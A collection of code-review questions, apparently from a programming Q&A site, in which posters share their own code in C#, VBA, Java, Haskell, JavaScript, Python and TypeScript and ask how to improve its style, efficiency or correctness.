        var evenCounts = countsByChar.Where(g => g.Count() % 2 == 0).Select(g => g.Count()).ToList();
        if (oddCounts.Any())
        {
            var max = oddCounts.Max();
            result += max;
            oddCounts.RemoveAt(oddCounts.FindIndex(e => e == max));
            result += evenCounts.Sum();
            result += oddCounts.Sum(e => e - 1);
        }
        else if (evenCounts.Any())
        {
           result += evenCounts.Sum();
        }
        Console.WriteLine(result);
        Console.ReadKey();
    }


texts: Retrieving ListBox.column values and store into objects

texts:
I know there must be a better way to perform the above sub than using multiple If statements. I was thinking of storing the obj.PropertName into a collection and run it through a for loop.

'Create instance
Dim wellObj As CWell
Set wellObj = New CWell

.
.
.

Private Sub Well_List_Click()

    'Must check if null..
    If Not (Well_List.Column(1, row) = "") Then
        wellObj.wellName = Well_List.Column(1, row)
    End If

    If Not (Well_List.Column(2, row) = "") Then
         wellObj.wellActive = Well_List.Column(2, row)
    End If

    If Not (Well_List.Column(3, row) = "") Then
         wellObj.wellDiameter = Well_List.Column(3, row)
    End If

    If Not (Well_List.Column(4, row) = "") Then
         wellObj.wellCasing = Well_List.Column(4, row)
    End If

    If Not (Well_List.Column(5, row) = "") Then
         wellObj.screenedInterval = Well_List.Column(5, row)
    End If

    If Not (Well_List.Column(6, row) = "") Then
         wellObj.wellSock = Well_List.Column(6, row)
    End If

    If Not (Well_List.Column(7, row) = "") Then
        wellObj.wellDepth = Well_List.Column(7, row)
    End If

End Sub

Refactored:

NB: wellObj has all properties type String

Private Sub Well_List_Click()

    Dim properties(1 To 7) As String
    Dim value As String
    Dim row As Integer

    'Skip header
    row = Well_List.ListIndex + 1

    'Must check if null..
    properties(1) = "WellName"
    properties(2) = "WellActive"
    properties(3) = "WellDiameter"
    properties(4) = "wellCasing"
    properties(5) = "ScreenedInternal"
    properties(6) = "WellSock"
    properties(7) = "WellDepth"

    For i = 1 To 7
        value = Well_List.Column(i, row)
        If value <> vbNullString Then
            CallByName wellObj, properties(i), VbLet, value
        End If
    Next

End Sub


texts: Reuse a base class [Activity] handler in all sub classes for background work

texts:
We are using the Thread of a common base class but using its handler in all its sub classes. The code is working fine but is it the right way to go about?

Our base class looks like this:

public class BaseActivity extends AppCompatActivity {
    public Handler mHandler;

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        // Try to reuse the activity handler. If null, create new.
        mHandler = getWindow().getDecorView().getHandler();
        if (mHandler == null) {
            mHandler = new Handler();
            Log.w(TAG, "failed to reuse activity handler");
        }
    }
}

And we are using this instance of handler in all the activities which extend from BaseActivity. We have not faced any issues. No task in the sub classes is very long. Could this be done any better?


texts:
This is my first Haskell application, so any non-name-calling tips will be taken extremely well! It is just a beta reducer:

data Term = Var Int | Lam Term | App Term Term | Num Int | Add Term Term
            deriving (Show)

subs :: Int -> Term -> Term -> Term
subs depth value (Lam body) = Lam (subs (depth + 1) value body)
subs depth value (App abstraction body) = App (subs depth value abstraction) (subs depth value body)
subs depth value (Var bind)
    | bind == depth = inc depth value
    | otherwise     = Var (bind + depth)

inc :: Int -> Term -> Term
inc depth (Var a) = Var (a + depth)
inc depth (App a b) = App (inc depth a) (inc depth b)
inc depth (Lam a) = Lam (inc depth a)

red :: Term -> Term
red (Var a) = Var a
red (Lam a) = Lam (red a)
red (App (Lam body) value) = red (subs 0 value body)
red (App a b) = (App (red a) (red b))

val = red (App (Lam (Lam (Lam (App (Var 2) (Var 1))))) (Lam (Var 77)))

main = print val

I want to know what I could improve on the style or how I could make the code cleaner. I have mostly problems with indentation, I never know where I can (and should) make a newline without confusing the parser.

Comment: making this was ridiculously easier than I thought. The type system actually helped me a lot.


texts: Pascal Triangle implementation in javascript

texts:
I have been given an exam to implement Pascal Triangle in JavaScript,
I have seen that it somehow similar on fibonacci sequence.
With that I have come up with the solution below.

function pascalTriangle(n){
  var data = [[1],[1,1]];
  var rowNum = n - 2;
  for (var i = 1; i <= rowNum; i++){
   var curr = i;
    data.push([1]);
    for (var x = 0; x< data[curr].length - 1; x++){
      var calcMid = data[curr][x] + data[curr][x + 1];
      data[curr+1].push(calcMid);
    }
    data[curr+1].push(1);
  }
  console.log(data);
}
pascalTriangle(5);

What I did is that I first initialize the 1st and 2nd row of the Pascal Triangle and then do the calculation for the middle with the idea from fibonacci sequence.

I feel that the solution the I have come up can be improved.


texts: Know the limits of an image after rotation

texts:
I have an image which I know the number of rows and the number of columns. I would like to calculate the limits of the new image after a rotation.

   BufferedImage myImage = ImageIO.read( new File( "D:\\Users...jpg" ) );
    xmaxOrigine = myImage.getWidth() - 1;
    ymaxOrigine = myImage.getHeight() - 1;
    angle = 12;

    angleRadian = Math.toRadians( angle );
    cos = Math.cos( angleRadian );
    sin = Math.sin( angleRadian );

    p1X = (int) ( ( xmaxOrigine * cos ) - ( ymaxOrigine * sin ) );
    p1Y = (int) ( ( xmaxOrigine * sin ) + ( ymaxOrigine * cos ) );

    xmin_f = xmin_f < p1X ? xmin_f : p1X;
    xmax_f = xmax_f < p1X ? p1X : xmax_f;
    ymin_f = ymin_f < p1Y ? ymin_f : p1Y;
    ymax_f = ymax_f < p1Y ? p1Y : ymax_f;

    p2X = (int) ( ( 0  * cos ) - ( ymaxOrigine * sin ) );
    p2Y = (int) ( ( 0 * sin ) + ( ymaxOrigine * cos ) );

    xmin_f = xmin_f < p2X ? xmin_f : p2X;
    xmax_f = xmax_f < p2X ? p2X : xmax_f;
    ymin_f = ymin_f < p2Y ? ymin_f : p2Y;
    ymax_f = ymax_f < p2Y ? p2Y : ymax_f;

    p3X = (int) ( ( xmaxOrigine * cos ) - ( 0 * sin ) );
    p3Y = (int) ( ( xmaxOrigine * sin ) + ( 0 * cos ) );

    xmin_f = xmin_f < p3X ? xmin_f : p3X;
    xmax_f = xmax_f < p3X ? p3X : xmax_f;
    ymin_f = ymin_f < p3Y ? ymin_f : p3Y;
    ymax_f = ymax_f < p3Y ? p3Y : ymax_f;

    p4X = 0;
    p4Y = 0;

    xmin_f = xmin_f < p4X ? xmin_f : p4X;
    xmax_f = xmax_f < p4X ? p4X : xmax_f;
    ymin_f = ymin_f < p4Y ? ymin_f : p4Y;
    ymax_f = ymax_f < p4Y ? p4Y : ymax_f;

    widthFinal = xmax_f - xmin_f;
    heightFinal = ymax_f - ymin_f;

As you can see I look for the xmin, xmax, ymin, ymax for each points. I would like to make this operation once if it is possible. Also, how can I condense this code?


texts: Json type-safe builders using jackson-annotations

texts:
I have created these builders to help creating fluent acceptance tests for my api.

I would really like suggestions for improvements because this is supposed to be a "how to" project on creating acceptance tests.

Questions:
Could this be improved?
Should asJson be catching the exceptions to avoid polluting it's users?
Should the static factory methods be creating the default values or the builders?
Do you like the naming conventions Builder, I feel like they are silly when there is no asJson method but they are still only there to be a part of creating json...

public class HolidayBuilder {

    @JsonProperty
    private String name;

    @JsonProperty
    private String date;

    @JsonProperty
    private String duration;

    public HolidayBuilder withName(String name) {
        this.name = name;
        return this;
    }

    public HolidayBuilder withDate(String date) {
        this.date = date;
        return this;
    }

    public HolidayBuilder withDuration(String duration) {
        this.duration = duration;
        return this;
    }

    public String asJson() {
        try {
            return new ObjectMapper().writeValueAsString(this);
        } catch (JsonProcessingException e) {
            throw new RuntimeException("Could not create json: " + e.getMessage());
        }
    }

    public static HolidayBuilder aHoliday() {
        return new HolidayBuilder().withDuration("1d");
    }
}

public class WorkAttributeBuilder {

    @JsonProperty
    private int id;

    @JsonProperty
    private String key;

    @JsonProperty
    private WorkAttributeTypeBuilder type;

    @JsonProperty
    private String name;

    public WorkAttributeBuilder() {
        type = aAttributeType();
    }

    public WorkAttributeBuilder withId(int id) {
        this.id = id;
        return this;
    }

    public WorkAttributeBuilder withKey(String key) {
        this.key = key;
        return this;
    }

    public WorkAttributeBuilder withoutKey() {
        this.key = null;
        return this;
    }

    public WorkAttributeBuilder withType(WorkAttributeTypeBuilder type) {
        this.type = type;
        return this;
    }

    public WorkAttributeBuilder withName(String name) {
        this.name = name;
        return this;
    }

    public String asJson() {
        try {
            return new ObjectMapper().writeValueAsString(this);
        } catch (JsonProcessingException e) {
            throw new RuntimeException("Could not create json: " + e.getMessage());
        }
    }

    public static WorkAttributeBuilder aWorkAttribute() {
        return new WorkAttributeBuilder().withName("Some Name");
    }
}

public class WorkAttributeTypeBuilder {

    @JsonProperty
    private String value;

    public WorkAttributeTypeBuilder(String value) {
       this.value = value;
    }

    public String getValue() {
       return value;
    }

    public static WorkAttributeTypeBuilder aAttributeType() {
        return new WorkAttributeTypeBuilder("ACCOUNT");
    }
}

public class WorkAttributeValueBuilder {

    @JsonProperty
    private long worklogId;

    @JsonProperty
    private String value;

    @JsonProperty
    private WorkAttributeBuilder workAttribute;

    public WorkAttributeValueBuilder withWorklogId(long worklogId) {
        this.worklogId = worklogId;
        return this;
    }

    public WorkAttributeValueBuilder withValue(String value) {
        this.value = value;
        return this;
    }

    public WorkAttributeValueBuilder withWorkAttribute(WorkAttributeBuilder workAttribute) {
        this.workAttribute = workAttribute;
        return this;
    }

    public String asJson() {
        try {
            return new ObjectMapper().writeValueAsString(this);
        } catch (JsonProcessingException e) {
            throw new RuntimeException("Could not create json: " + e.getMessage());
        }
    }

    public static WorkAttributeValueBuilder aWorkAttributeValue() {
        return new WorkAttributeValueBuilder();
    }
}


texts: Content aggregator using bs4 and requests

texts:
Standard code review, tell me what's good, what's bad, and how to improve. Critical suggestions welcomed. This is a content aggregator using bs4 and requests. I did not use any tutorials or help.
import requests
from bs4 import BeautifulSoup as bs

topic = input('Enter the topic: ').lower()
print()
def getdata(url, headers):
    r = requests.get(url, headers=headers)
    return r.text

def linesplit():
    print('-~'*16, 'COLIN IS MOOCH', '-~'*16, '\n')
headers = {
    'User-agent':
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582"
}
google = getdata(f'https://www.google.com/search?q={topic}&oq={topic}&aqs=chrome..69i59j69i57j69i59j69i60l3j69i65j69i60.2666j0j7&sourceid=chrome&ie=UTF-8', headers)
soup = bs(google, 'html.parser')
links = str(soup.find_all('div', class_='TbwUpd NJjxre'))
links = links.replace('
', '')
links = links.replace('', '')
links = links.replace('
', '')
links = links.replace('
', '')
links = links.replace('
', '')
links = links.replace('', '')
links = links.replace(' › ', '/')
links = links.split(', ')
links[-1] = links[-1].replace(']', '')
links[0] = links[0].replace('[', '')
info = []
counter = 0

for x in range(len(links)):
    try:
        htmldata = getdata(links[x], headers)
        newsoup = bs(htmldata, 'html.parser')
        website = ''
        for i in newsoup.find_all('p'):
            website = website + ' ' + i.text
        info.append(links[x])
        info.append(website)
        counter += 1
    except Exception:
        continue
try:
    for x in range(0, (counter * 2) + 2, 2):
        if info[x+1] != '':
            linesplit()
            print()
            print('From ', info[x], ':')
            print()
            print(info[x+1])
            linesplit()
except IndexError:
    pass


texts:
It should work but my comp can't compute it in time. It is Project Euler problem 12. Just a small bit of advice would be nice. Only at this a short time so I probably just haven't learned a good way to manipulate the situation yet.

public class HighlyDivisibleTriangularNumber{
    public static void main(String args[]){
        long count = 1, sum = 0, i;
        for(i = 1; count != 500; i++){
            sum += i;
            if(sum % 2 == 0 && sum % 3 == 0) count = 3;
            else count = 2;
            for(int j = 4; j <= sum/2; j++)
                if(sum % j == 0) count++;
        }
        System.out.println(i-1);
    }
}


texts:
For my code, up to the 5th row, the formatting of my triangle is fine. But once I hit the 6th row, the formatting turns funny because I start having double digits. Is there any way to fix this?

Also is my code optimized? Any way I can make it better?

Thanks!

function pascals(num) {
  var result = [[1],[1,1]];

  if (num === 0) {
    console.log(0);
  }

  if (num === 1) {
    console.log(1);
  }

  else {
    for (var i = 2; i < num; i++) {
      result[i] = [];
      result[i][0] = 1;

      for (var j = 1; j < i; j++) {

        result[i][j] = result[i - 1][j - 1] + result[i - 1][j];
      }
      result[i][j] = 1
    }
  }
  for (var i = 0; i < result.length; i++) {
    console.log(' '.repeat(result.length - i) + result[i]);
  }
}

pascals(6)

      1
     1,1
    1,2,1
   1,3,3,1
  1,4,6,4,1
 1,5,10,10,5,1


texts:
I am learning Java through Stanford CS106A and I'm wondering how the code for this early assignment looks.  I've worked in a proprietary scripting language before and so I'm trying to get the right programming form down for Java.  It works but am I doing anything in the wrong way?  Am I declaring and initializing my variables properly?  Is using a counter and conditional for the first instance like this good form? Am I missing a shorter, more efficient way?

/*
 * File: FindRange.java
 */

import acm.program.*;

public class FindRange extends ConsoleProgram {

    /* Specifies the value of the sentinel */
    private static final int SENTINEL = 0;

    public void run() {
        println("This program finds the largest and smallest numbers entered.");
        println("Enter values, one per line, using " + SENTINEL + " to signal the end of the list.");
        int min = 0;
        int max = 0;
        int count = 0;
        while (true) {
            int value = readInt(" ? ");
            if (value == SENTINEL) break;
            count++;
            if (count == 1){
                min = value;
                max = value;
            }
            min = Math.min(min, value);
            max = Math.max(max, value);
        }
        if (count>0){
            println("Smallest: " + min);
            println("Largest: " + max);
        } else {
            println("No values were entered.");
        }
    }
}


texts: Typescript & rxJS group list of object by month/year and map to certain value

texts:
I have class:

export class DayValue {
  date: string;
  status: string;
}

and statusToPointsMap:

  public static map: Map<string, number> = new Map([
    ['COMPLETED', 100],
    ['FAILED', -100],
    ['SKIPPED', 0],
  ]);

I want to create function which calculates avg result per given period of time, ie:

[
  [
    "2020-05-02",
    "COMPLETED"
  ],
  [
    "2020-05-01",
    "FAILED"
  ],
  [
    "2020-04-30",
    "FAILED"
  ],
  [
    "2020-04-29",
    "SKIPPED"
  ],
  [
    "2020-03-13",
    "SKIPPED"
  ]
]

to (groupped by month)

[ ["05-2020",0],
  [ "04-2020",-40],
  ["03-2020",0]

]

or(groupped by year):

["2020",-16]

I created a function which works as I wanted, but I'm wonder if there is any way to to it smarter?

  private calculateAvgPerPeriod(values: DayValue[], period: string): any[] {
    const resultArray = [];
    from(values).pipe(
      groupBy(dayValue => this.datePipe.transform(dayValue.date, period)),
      mergeMap(group => group.pipe(toArray())),
      map(array => [
          this.datePipe.transform(array[0].date, period),
          array
            .map(day => this.statusToPointsMap.get(day.status))
            .reduce((prev, curr) => prev + curr, 0) / array.length
        ]
      ))
      .subscribe(entry => {
        resultArray.push(entry);
      });
    return resultArray;
  }